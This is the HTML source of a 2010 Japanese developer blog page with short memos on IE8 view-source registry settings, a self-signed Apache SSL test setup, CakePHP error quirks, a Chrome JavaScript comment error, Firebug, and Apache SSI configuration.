URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Fri, 07 May 2010 13:13:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.13
X-Pingback: http://blog.ceed.jp/xmlrpc.php
Vary: Accept-Encoding
Content-Length: 49668
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ja">
<head profile="http://gmpg.org/xfn/11">
	<title>CEED</title>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8" />

	<link rel="alternate" type="application/rss+xml" href="http://blog.ceed.jp/?feed=rss2" title="CEED latest posts" />
	<link rel="alternate" type="application/rss+xml" href="http://blog.ceed.jp/?feed=comments-rss2" title="CEED latest comments" />
	<link rel="pingback" href="http://blog.ceed.jp/xmlrpc.php" />
		<link rel='archives' title='2010年4月' href='http://blog.ceed.jp/?m=201004' />
	<link rel='archives' title='2010年3月' href='http://blog.ceed.jp/?m=201003' />
	<link rel='archives' title='2010年1月' href='http://blog.ceed.jp/?m=201001' />
	<link rel='archives' title='2009年10月' href='http://blog.ceed.jp/?m=200910' />
	<link rel='archives' title='2009年8月' href='http://blog.ceed.jp/?m=200908' />
	<link rel='archives' title='2009年7月' href='http://blog.ceed.jp/?m=200907' />
	<link rel='archives' title='2009年2月' href='http://blog.ceed.jp/?m=200902' />
	<link rel='archives' title='2008年8月' href='http://blog.ceed.jp/?m=200808' />
	<link rel='archives' title='2008年7月' href='http://blog.ceed.jp/?m=200807' />
	<link rel='archives' title='2007年12月' href='http://blog.ceed.jp/?m=200712' />
	<link rel='archives' title='2007年10月' href='http://blog.ceed.jp/?m=200710' />
	<link rel='archives' title='2007年9月' href='http://blog.ceed.jp/?m=200709' />
	<link rel='archives' title='2007年8月' href='http://blog.ceed.jp/?m=200708' />
	<link rel='archives' title='2007年7月' href='http://blog.ceed.jp/?m=200707' />
	<link rel="stylesheet" type="text/css" media="screen" href="http://blog.ceed.jp/wp-content/themes/shine/style.css" />
	<link rel="stylesheet" type="text/css" media="screen" href="http://blog.ceed.jp/wp-content/themes/shine/carrington-core/lightbox/css/thickbox.css" /> 
	<script type='text/javascript' src='http://blog.ceed.jp/wp-includes/js/prototype.js?ver=1.6'></script>
<script type='text/javascript' src='http://blog.ceed.jp/wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0'></script>
<script type='text/javascript' src='http://blog.ceed.jp/wp-includes/js/scriptaculous/effects.js?ver=1.8.0'></script>
<script type='text/javascript' src='http://blog.ceed.jp/wp-content/plugins/lightbox-2/lightbox.js?ver=1.8'></script>
<script type='text/javascript' src='http://blog.ceed.jp/wp-includes/js/jquery/jquery.js?ver=1.3.2'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://blog.ceed.jp/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://blog.ceed.jp/wp-includes/wlwmanifest.xml" /> 
<link rel='index' title='CEED' href='http://blog.ceed.jp' />
<meta name="generator" content="WordPress 2.9.2" />
<link rel="stylesheet" href="http://blog.ceed.jp/wp-content/plugins/ig_syntax_hilite/css/syntax_hilite_css.css" type="text/css" media="all" />
	<script language="javascript" type="text/javascript" src="http://blog.ceed.jp/wp-content/plugins/ig_syntax_hilite/js/syntax_hilite_js.js"></script>
	<script language="javascript" type="text/javascript">
	var arrCode = new Array();
	</script>

	<!-- begin lightbox scripts -->
	<script type="text/javascript">
    //<![CDATA[
    document.write('<link rel="stylesheet" href="http://blog.ceed.jp/wp-content/plugins/lightbox-2/Themes/Black/lightbox.css" type="text/css" media="screen" />');
    //]]>
    </script>
	<!-- end lightbox scripts -->
</head>

<body>
	<div id="top">
    				<a href="http://blog.ceed.jp/wp-login.php">ログイン</a></span>
			</div>
<div id="wrapper">
<div id="header">
<a href="http://blog.ceed.jp/" title="Home" rel="home"><span id="blog-title">CEED</span></a><br />
<p class="description">webapps databese opensource and more</p>
<a href="http://blog.ceed.jp/?feed=rss2" title="RSS" class="rss">RSS</a>
<div id="bar">
<ul id="nav">
<li class="page_item page-item-1 current_page_item"><a href="http://blog.ceed.jp/" title="Back to Main Page">Home</a></li>
<li class="page_item page-item-2"><a href="http://blog.ceed.jp/?page_id=2" title="About">About</a></li>
</ul>

<form id="search-form" method="get" action="http://blog.ceed.jp/" onsubmit="">
	<input type="text" id="s" name="s" value="" size="15" />
	<input type="submit" name="submit_button" value="Search" class="btn" />
</form></div>
</div>
<div id="page"><div class="item">
<div class="date "><span class="day">30</span><br /><small>4月</small></div>
<div class="details">
<h2 title="IEのソースを表示に使うアプリを規定に戻す"><a href="http://blog.ceed.jp/?p=178" title="IEのソースを表示に使うアプリを規定に戻す">IEのソースを表示に使うアプリを規定に戻す</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=178#respond" rev="post-178"  title="IEのソースを表示に使うアプリを規定に戻す へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=22" title="IE の投稿をすべて表示" rel="category">IE</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>いろいろなところで書かれていますが、自分の場合なかなか戻せずに苦労したので覚え書き。<br />
IE8.0の「ソースを表示」に使用するアプリは、開発者ツールの中の、ファイル > InternetExplorer ソースの表示のカスタマイズ で設定でいるのですが、これが戻らなくなる不具合があるようです。<br />
ググって見ると下記のレジストリキー<br />
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor\Editor Name</p>
<p>を削除することで規定に戻る、とあるのですが、自分の場合これを行っても戻らず苦労しました。<br />
そこでregedit内で、キー名で「view source editor」を検索してみると、下記のようなキーができていました。<br />
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\View Source Editor</p>
<p>そこでこのキーごと削除してみると見事元に戻りました。<br />
そもそもこのキーが何なのかは不明ですが、、、</p>
<div class="item">
<div class="date "><span class="day">24</span><br /><small>4月</small></div>
<div class="details">
<h2 title="開発用SSL環境の構築"><a href="http://blog.ceed.jp/?p=165" title="開発用SSL環境の構築">開発用SSL環境の構築</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=165#respond" rev="post-165"  title="開発用SSL環境の構築 へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=18" title="Apache の投稿をすべて表示" rel="category">Apache</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>開発用にSSL環境を作る必要にせまられ、オレオレ証明書でテスト環境を作ってみました。<br />
Apache 2.0.63 + OpenSSL (2.2あたりとはconfファイルの配置に違いがあるようですが)</p>
<p><a href="http://earlgreyx.wordpress.com/repository/apache-22wind32-with-ssl-%E3%83%86%E3%82%B9%E3%83%88%E7%92%B0%E5%A2%83%E5%B0%8E%E5%85%A5%E3%83%8E%E3%83%BC%E3%83%88/">こちらのサイト</a>を参考にさせていただきました。</p>
<p>まずは、OpenSSLを使ってオレオレ証明書を作ります。<br />
今回はOpenSSL付属のApacheが入っていたのでそれを使います。(ない場合別途落としてきます)<br />
OpenSSLはApacheディレクトリのなかのbinにあります。</p>
<div class="igBar"><span id="lcode-1"><a href="#" onclick="javascript:showPlainTxt('code-1'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-1">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">##パスを通します</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&gt; cd C:\Program Files <span style="color:#006600; font-weight:bold;">&#40;</span>x86<span style="color:#006600; font-weight:bold;">&#41;</span>\Apache Group\Apache2\conf</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&gt; path %PATH%; C:\Program Files <span style="color:#006600; font-weight:bold;">&#40;</span>x86<span style="color:#006600; font-weight:bold;">&#41;</span>\Apache Group\Apache2\bin</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">## キーファイルの作成</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&gt; openssl genrsa -rand charset.<span style="">conv</span> -out server.<span style="">key</span> <span style="color:#800000;color:#800000;">1024</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">## CSRの作成</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&gt; openssl req -new -key server.<span style="">key</span> -out server.<span style="">csr</span> -config ..\openssl.<span style="">cnf</span></div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">## 以下コマンドラインの対話</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Country Name <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#800000;color:#800000;">2</span> letter code<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>AU<span style="color:#006600; font-weight:bold;">&#93;</span>:JP</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">State or Province Name <span style="color:#006600; font-weight:bold;">&#40;</span>full name<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>Some-State<span style="color:#006600; font-weight:bold;">&#93;</span>:kanagawa</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Locality Name <span style="color:#006600; font-weight:bold;">&#40;</span>eg, city<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:kamakura</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Organization Name <span style="color:#006600; font-weight:bold;">&#40;</span>eg, company<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>Internet Widgits Pty Ltd<span style="color:#006600; font-weight:bold;">&#93;</span>:ceed</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Organizational Unit Name <span style="color:#006600; font-weight:bold;">&#40;</span>eg, section<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:ceed</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Common Name <span style="color:#006600; font-weight:bold;">&#40;</span>eg, YOUR name<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:localhost</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Email Address <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:test@localhost</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Please enter the following ‘extra’ attributes</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">to be sent with your certificate request</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">A challenge password <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">An optional company name <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>:</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">## CRTファイルの作成</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">openssl x509 -in server.<span style="">csr</span> -out server.<span style="">crt</span> -req -signkey server.<span style="">key</span> -days <span style="color:#800000;color:#800000;">3650</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">##以上で、server.<span style="">csr</span>, server.<span style="">crt</span>, server.<span style="">key</span> が作成される </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>httpd.conf の編集</p>
<div class="igBar"><span id="lcode-2"><a href="#" onclick="javascript:showPlainTxt('code-2'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-2">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">#モジュールの読み込み</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">LoadModule ssl_module modules/mod_ssl.<span style="">so</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>ssl.conf の編集</p>
<div class="igBar"><span id="lcode-3"><a href="#" onclick="javascript:showPlainTxt('code-3'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-3">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">#SSLCertificateFile conf/ssl.<span style="">crt</span>/server-dsa.<span style="">crt</span></div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">SSLCertificateFile conf/server.<span style="">crt</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">#SSLCertificateKeyFile conf/ssl.<span style="">key</span>/server-dsa.<span style="">key</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">SSLCertificateKeyFile conf/server.<span style="">key</span></div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">DocumentRoot <span style="color:#CC0000;">"/path/to/root"</span></div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;Directory <span style="color:#CC0000;">"/path/to/root"</span>&gt;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; SSLOptions +StdEnvVars</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/Directory&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>レジストリの設定<br />
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Apache2</p>
<p>"C:\Program Files (x86)\Apache Group\Apache2\bin\Apache.exe" -k runservice<br />
    ↓<br />
"C:\Program Files (x86)\Apache Group\Apache2\bin\Apache.exe" -D SSL -k runservice</p>
<p>以上で設定は完了です。<br />
サービスからApacheの再起動を行えばSSLが使えるようになるはずです。<br />
もし正常に起動できない場合は、ポート443が塞がっていないか確認しましょう。(VPN ServerやSkypeなどが使用している場合があります)<br />
コマンドラインから<br />
netstat -ano<br />
で確認できます。<br />
0.0.0.0:443 になんらかの接続がある場合、そのPIDを調べて、該当するプロセスを終了します。<br />
正常に起動すれば、SSLによって上記ポートがListenされます。</p>
<div class="item">
<div class="date "><span class="day">04</span><br /><small>3月</small></div>
<div class="details">
<h2 title="CakeErrorの仕様"><a href="http://blog.ceed.jp/?p=163" title="CakeErrorの仕様">CakeErrorの仕様</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=163#respond" rev="post-163"  title="CakeErrorの仕様 へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=11" title="CakePHP の投稿をすべて表示" rel="category">CakePHP</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>app_error.phpを作って独自のメソッドを書くと、エラーハンドリングコンポーネントに独自のエラー処理を追加できる、とドキュメントにも書いてあるが、debugを0にするとなぜかどのエラーも全て、Error404が呼ばれてしまう。散々あれこれ試して解決できずググって見ると、/Cake/libs/error.phpのコンストラクタのなかで、debugが0だったら、error, error404, 500 のどれかになるように処理が書いてある、との事。こんなのありか?何のためのapp_errorなの?</p>
<div class="item">
<div class="date "><span class="day">04</span><br /><small>3月</small></div>
<div class="details">
<h2 title="chromeで謎のJSエラー"><a href="http://blog.ceed.jp/?p=158" title="chromeで謎のJSエラー">chromeで謎のJSエラー</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=158#respond" rev="post-158"  title="chromeで謎のJSエラー へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=13" title="JavaScript の投稿をすべて表示" rel="category">JavaScript</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>他社制作のJSでChromeに限って謎のエラーが出てはまったので備忘録。<br />
他のブラウザでは全く問題の出ないスクリプトなのに、何故かChromeだけで<br />
Unexpected token<br />
というエラーが出ていた。ChromeのJavascriptコンソールでエラー行表示ををクリックしても当該の場所を表示できない。おまけにScriptsタブでそのJSを選択しようとしても選択できない。(これらはJSファイルの行数が膨大だったせいかも、、、)<br />
それで地道に調べていったところ、なんとエラーの原因はコメント行だった。日本語のコメントが何箇所かありその中の1つがエラーとなっていた。こんなことあるんだね。ちなみにJSの文字コードはShift_JISでした。</p>
<div class="item">
<div class="date "><span class="day">21</span><br /><small>1月</small></div>
<div class="details">
<h2 title="Firebug1.5のbug?"><a href="http://blog.ceed.jp/?p=156" title="Firebug1.5のbug?">Firebug1.5のbug?</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=156#respond" rev="post-156"  title="Firebug1.5のbug? へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=21" title="Firebug の投稿をすべて表示" rel="category">Firebug</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>firebugが1.5になったようですね。<br />
早速アップデートしてみたのですが、「要素を調査」が効かないようで、HTMLパネルのカーソルアイコンを使っても、要素を検証できません。僕の環境だけの問題なのかな?<br />
とりあえず、この辺<br />
<a href="http://getfirebug.com/releases/firebug/1.4X/">http://getfirebug.com/releases/firebug/1.4X/</a><br />
から、1.45に戻して暫定対応。<br />
同じ状況の人いるのかな、、、、</p>
<div class="item">
<div class="date "><span class="day">23</span><br /><small>10月</small></div>
<div class="details">
<h2 title="ヘルパーの読み込みエラー"><a href="http://blog.ceed.jp/?p=149" title="ヘルパーの読み込みエラー">ヘルパーの読み込みエラー</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=149#respond" rev="post-149"  title="ヘルパーの読み込みエラー へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=11" title="CakePHP の投稿をすべて表示" rel="category">CakePHP</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>ヘルパーの読み込みで何度かはまったので覚え書き。<br />
例えば下記のような記述を、app_controller.phpに書いている場合</p>
<div class="igBar"><span id="lphp-4"><a href="#" onclick="javascript:showPlainTxt('php-4'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-4">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">var</span> <span style="color:#0000FF;">$helpers</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Html'</span>, <span style="color:#FF0000;">'Form'</span>, <span style="color:#FF0000;">'Firecake'</span>, <span style="color:#FF0000;">'Markup'</span><span style="color:#006600; font-weight:bold;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p>
markup.phpの配置を忘れてしまった場合、markuphelperが見つからないとエラーが出そうなものだが、実際には存在するはずの、「firecakehelperが無い」というエラーが出る。<br />
これは、各viewの中でmarkuphelperを呼ぶ前に、/app/view/layout/default.ctpの中でfirecakeを呼んでいるためにおこるようだ。<br />
「firecakehelperが無い」というエラーが出ているので、そちらばかり気にしていると、実は別のところに問題がある。<br />
ちなみに、Html やForm ヘルパーに対してのエラーメッセージとはならない。<br />
おそらくデフォルトで読み込まれるヘルパー以外のもので最初のものに対してのエラーとなるのだろう。<br />
これって仕様としてどうなんだ、、、、</p>
<div class="item">
<div class="date "><span class="day">11</span><br /><small>10月</small></div>
<div class="details">
<h2 title="AOL Pagetest"><a href="http://blog.ceed.jp/?p=144" title="AOL Pagetest">AOL Pagetest</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=144#respond" rev="post-144"  title="AOL Pagetest へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=14" title="HTML の投稿をすべて表示" rel="category">HTML</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>パフォーマンスチェックのツールというと、</p>
<ul>
<li>Firebugの接続タブ</li>
<li>SafariのWebインスペクタ-リソース</li>
</ul>
<p>などがありますが、視覚的にもウォーターフォール型で分かりやすく、細かく検証できる良いツールがあったので早速使ってみました。<br />
<a href="http://sourceforge.net/apps/mediawiki/pagetest/index.php?title=Main_Page">AOL PageTEST</a><br />
検証結果のウォーターフォール図をPNGで保存できるなど、なかなかありがたい機能つきです。</p>
<div class="item">
<div class="date "><span class="day">28</span><br /><small>8月</small></div>
<div class="details">
<h2 title="phpでssiを使う設定"><a href="http://blog.ceed.jp/?p=137" title="phpでssiを使う設定">phpでssiを使う設定</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=137#respond" rev="post-137"  title="phpでssiを使う設定 へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=18" title="Apache の投稿をすべて表示" rel="category">Apache</a>,  <a href="http://blog.ceed.jp/?cat=14" title="HTML の投稿をすべて表示" rel="category">HTML</a>,  <a href="http://blog.ceed.jp/?cat=19" title="PHP の投稿をすべて表示" rel="category">PHP</a>,  <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
<br  /><span class="tag-link">Tagged with <a href="http://blog.ceed.jp/?tag=apache" rel="tag">Apache</a>, <a href="http://blog.ceed.jp/?tag=php" rel="tag">PHP</a>, <a href="http://blog.ceed.jp/?tag=ssi" rel="tag">SSI</a></span>
<span class="clear"></span>
</div>
</div>

<p>最近phpでssiを使うことがあったのだが、httpd.confの書き方で挙動が違うことを経験したので覚書。<br />
通常、SSIを通場合、AddType text/html .shtml などと書くが、この記述がPHPのAddTypeより後に書かれているとPHPとして実行されない(PHPコードがそのまま出力される)ということがおきるようです。ちょっと悩んだ結果試しに記述位置を入れ替えてみたら、SSI、PHPともに実行されたので一旦OK。<br />
どうしてそうなるのか、細かく調べたいところだけど、一旦OKとしましょう(汗)</p>
<div class="igBar"><span id="lcode-5"><a href="#" onclick="javascript:showPlainTxt('code-5'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-5">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">AddType text/html .<span style="">shtml</span> .<span style="">html</span> .<span style="">php</span></div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">AddOutputFilter INCLUDES .<span style="">shtml</span> .<span style="">html</span> .<span style="">php</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">AddType application/x-httpd-php .<span style="">php</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">AddType application/x-httpd-php-source .<span style="">phps</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<div class="item">
<div class="date "><span class="day">02</span><br /><small>8月</small></div>
<div class="details">
<h2 title="eclipseのプラグインインストール"><a href="http://blog.ceed.jp/?p=130" title="eclipseのプラグインインストール">eclipseのプラグインインストール</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=130#respond" rev="post-130"  title="eclipseのプラグインインストール へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 の投稿をすべて表示" rel="category">開発備忘録</a></span>
